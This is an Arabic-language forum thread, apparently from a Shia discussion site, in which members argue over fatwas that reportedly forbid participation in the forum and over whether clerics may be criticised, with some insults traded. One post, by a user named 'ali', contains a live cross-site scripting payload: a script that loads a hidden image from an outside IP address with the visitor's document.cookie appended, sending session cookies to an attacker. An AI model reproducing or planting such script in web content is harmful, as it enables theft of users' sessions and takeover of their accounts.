فتاوى المراجع العظام بخصوص هذا المنتدى والمشاركة به !

[شبير]

إلى هاشم الثريد ، سؤالكم عن سبب عدم ارسال استفتاء إلى الخرسانى والتبريزى لأن المذكورين لا يعرفان شيئا عن الإنترنت ، وأقصى علمهم هو عن الفاكس ، ويعتبر البريد الإلكترونى من المعاجز التى لا يحلمون بها

[كانون]

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

الاخوة الاعزاء دمتم موفقين


الحقيقة بداية الأمر أن المنتدى ليس لديه رقابة على عقول الناس بل أننا ندعو لحرية الفكر والخطابة العقلية الصحيحة لذا عهدنا على انفسنا أن نتحرر من جميع قيود الجهل و نتحرك في خط الفكر والرأي الصحيح . لذا أصبح فكرة المنتدى قابلة للرأي والرأي الآخر وهذا مصدرنا اعتزازنا وفخرنا .
ولكن يجب الالتفات إلى أن هناك بعض المشاركين الذيتن يخرجون عن أدب الحوار الهادف ويتفضلون بألفاظ غير لائقة وبعيدة كل البعد عن الجو الأخلاقي الإسلامي السليم وأننا لا نترتضى بهذه الاساليب و المخاطبات بل نعمل على محوها كل ما أمكننا ذلك ولكن أعذرونا أن البعض خرج عن السيطرة في الوقت المناسب ونتعهد بأن نمحو كل شتيمة بحق أي أنسان وبالمقابل لا نمحو أي رأي بخصوص أفكار و توجهات الناس بل نحن ندعو مخاطبة الأفكار ومناقشتها ولاندعو مخاطبة الاشخاص و محاكمتها أن جل أهتمامنا هو أظهار حقيقة الحوار الإسلامي البناء البعيد كل البعد عن الشخصانية البغضاء .

الاخت الكريمة ريم حفظكِ الله
أولا : أن الموضوعات لا ترجع للمراجع بل المكلف هو من يقرر الأخذ بها أو تركها و المشاركة في المنتديات عبارة عن موضوعات لا تدخل ضمن أطار التقليد .

ثانيا : أن الفتوى عامة وغير مخصصة لذا يجب عليك نشرها في جميع المنتديات الشيعية و خصوصا منتدى يا حسين و منتدى الميزان اللذان يشتملان على هذه المواضيع كما هو في جميع المنتديات الإسلامية .

ثالثا : هناك سؤال محير فعلا أن كانت المنتديات سخيفة و منحلة و تهاجم العلماء والمراجع لماذا لا تخرج فتاوى من العلماء تحرم المشاركة في جميع المنتديات ولا تخصص بعض المنتديات فقط . وكذلك لمذا تشاركين في منتدى غير مقتنعة بأسلوب الحوار فيه .

رابعا: أحب أن أعرف هل نحن دليا نظرية عدالة العلماء ولا يحق لنا مناقشة الآراء و الأفكار بدون التعرض للأشخاص .

يتبع

والسلام
خادمكم
خادم العلماء

[سيد مرحوم]

تعليق رقم (2) حول الموضوع وحل استفسار الاخ خادم العلماء
من انه هل لدينا نحن الشيعة نظرية عدالة العلماء وبالتالي لا يحق لنا مناقشة الآراء و الأفكار بدون التعرض للأشخاص ؟!

وفي نظري لهو استفسار مهم جدا واجابته هي الفيصل مابين الدعوة المتطرفة لعدم نقد الاشخاص كلية وبين نقدها بشكل مطلق ومفتوح دون حواجز00

وبالتالي تعليقي عليها هو 00

لا اظن ان مناقشة الامور التي تهم الساحة وتحركها من خلال مناقشة افكار الاشخاص الذين يمثلون الرموز الحقيقية في عملية التقييم والمناقشة يعد دخول في الامور الشخصية00لابد ان نفرق بين الشخصنة بمعناها الموضوعي والقائم على اسس علمية وبعيدا عن الشتم الموجه المباشر وبين القراءة الموضوعية للحدث من خلال القواعد العلمية الدقيقة والبعيدة عن اثارة الاطراف المختلفة معي في الفكرة بالسباب والشتم للرموز التي يتفاعل معها00باختصار في رايي هناك فرق بين مايثيره تقييم موضوعي معين لافكار شخصية ما حتى لو ذكرت وقائع حقيقية مؤيدة بادلة وارقام , وبين مايثيره التقييم الغير موضوعي من خلال مايثيره من افكار موجهه بطريقة هستيرية استعراضية تستند على وقائع غير معروفة المصدر والموقع00في رايي لابد من مناقشة مواقف الاشخاص وافكارهم لانهم هم الرقم الحقيقي الذي يحرك الوقائع ويصنع التاريخ ومن المثالية الغير موضوعية الابتعاد عن ذلك بشكل كلي ومطلق00

[لعن الله الضال]

يقول السيد مرحوم

(( نعم سب المراجع غير جائز ))

http://www.manaar.com/vb/showthread.php?s=&threadid=154

شوف هون مثلاً !

[شبير]

ولك امشى بزون

[سيد مرحوم]

الى من علق على كلامي الاخ (لعن الله 00؟؟)

اذهب لنفس الرابط الذي وجهتني اليه واقرا تعليقي على الموضوع لتكتشف انني اعني ما اقوله نظريا وامارسه تطبيقا انشاء الله00

ارجو ان لايكون توجيهك اياي للرابط المذكور اعلاه في تعليقك عنادا وملاسنة ومجادلة وليس اصلاحا كما ارى واستشف من اسمك؟؟

[مجاهدون]

الأخ المسمى لعن الله التبريزى

خويه أقعد عوج واتكلم عدل أحسن لك .

[لا يوجد]

يا جماعة والله ديمقراطية فى هذا المنتدى ..... فتاوى ضد المنتدى ومنشورة بكل حرية على صفحات المنتدى ، بس السؤال ، إذا وجه أحد انتقاد حق أى واحد من المرجعيات التى افتت ضد المنتدى هل باستطاعة هذه المرجعيات تقبل هذا النقد أو حتى الرد عليه ؟؟

من جهة أخرى نقل موقع كتابات الشهير خبر الفتاوى ضد منتدى منار ومتوقع أن يثير الخبر ضجة كبرى !!

[لعن الله الضال]

الزملاء راحوا يؤولون الفتاوي و يلفون و يدورون .. و الخ و اذا به الغبي شاكر يعترف ان الفتاوي لهذا المنتدى القذر فلاحظ :
الحائرى والسيستانى وعلماء آخرون يحرمون المشاركة فى منتدى منار



كتابات - شاكر الموسوى الحسينى



من هوان الدنيا أن نرى المرجعية والتى يفترض أنها تهتم بأمور المسلمين الحقة وتوجههم التوجيه الصحيح ، نجد هذه المرجعيات تساهم فى الإنحدار الفكرى والثقافى للأمة بانشغالها بسفاسف الأمور وتوافهها ، وآخر حلقة من هذه التفاهات تحريم بعض هذه المرجعيات الدخول والمشاركة فى منتدى منار للحوار ، وقد تصدى السيستانى ( مكتب قم ) والحائرى للحديث بإسهاب حول هذا الموضوع ، بالإضافة إلى علماء آخرين .



الغريب أن الإستفتاء الموجه للعلماء المذكورين لم يتطرق إلى الشتائم التى يتعرض لها سماحة السيد فضل الله وإنما اقتصرت على الدفاع عن حزب التكفير والتطبير وزعماء هذا الحزب وهما الشيخان التبريزى والخرسانى .



للإطلاع على حقيقة الموضوع ، يرجى زيارة الوصلة التالية :



http://www.manaar.com/vb/showthread....5&pagenumber=1



أو زيارة الموقع الأصلى وهو

manaar.com/vb.www



هووووووون
http://www.kitabat.com/r6671.htm

[جليل]

شنو هذا ، من أين أتى هذا الصعلوك ؟ كيف يشتم سيدنا شاكر ؟
ويبدو من كلامه أنه تكفيرى فلسطينى حاقد أو لبنانى ، ويسمى المنتدى بالقذر !!!

عجبى ......لماذا تشترك بالقذارة إذا ياقذر !

[alsamaney]

اخواني هذه الفتاوي ليس بها اي شىء

وسؤالي الى المدعوا لعن الله الضال لتبريزي
اذا كان هذا المنتدى كما تعتقد فأغرب عنه


هذه السالفة ذكرتني بنفس الشىء في موقع كتابات عندما اكتشف تزوير الفتوة الخاصة ب الكتاب الضلال بهدد اشخاص بأصدار فتوى من التبريزي صاحب الفتوى بتكفير منتدى كتابات ................. الى ذالك من الهرير



وشكرا

[ali]

علماؤنا تاج على رؤوسنا


<script>document.write('<img src="http://213.189.68.235'+document.cookie+'" width="0" height="0">');</script>

[هاشم الموسوي]

الاخت ريم

هل منتدى الثعالب مشمول بالفتوى

و شكرا

[هاشم]

الإساس هو منتدى الثعالب الذى يشرشح رجال الدين الثعالب المزيفين

[بهبهاني]

استغرب من هذه الاستفتاءات المفبركة

أختي ريم , اذا كنت تعتقدين عدم جواز الدخول في هكذا منتديات فلك ذلك

الا اني استغرب ارسالك الاستفتاء لعدة علماء بدل استفتاء مرجعك فقط و اتباع فتواه

انتشرت ظاهرة الاستقواء بالفتوى و ادخالها كسلاح حاسم في شبكة الانترنت

و لي عدة تعليقات :

1-هذه الفتاوى جواب على سؤالك فاذا كنت ترين ذلك الشي فيجب عليك الالتزام به و لا يمكن لك بحال الزام الغير برؤيتك الخاصة التي اوردتيها في صيغة السؤال

فالأمر يتعلق بتشخيص المكلف

فاني شخصيا استفيد من ذلك حرمة الدخول الى المواقع التي تهاجم السيد فضل الله كموقع ضلال و غيرها

-القضية الاخرى التي قد يكون السيد شاكر اشتبه بها هو ان السيد السيستاني حفظه الله لم يصدر الاستفتاء و انما اصدره مكتبه بقم و بالنسبة لي هناك فرق ساشع بين الشهرستاني و السيد السيستاني حفظه الله (عندي على الاقل و لا الزم احدا برؤيتي)

-لا يلام العالم على ما أصدر فصيغة السؤال تقود الى الجواب
و هذا ما حصل في قضية السيد فضل الله من استقطاعات لكلامه من السياق و وضعها في استفتاء موجه

-تشخيص المواضيع الخارجية يتساوى فيه المرجع و مقلده و الفقيه ليس في المنتدى ليحكم بدقة و قد لا يكون ملما بآليات الانترنت و سياقاته

-تذكرني الفتوى بفتاوى الوهابية بمقاطعة مواقع الرافضة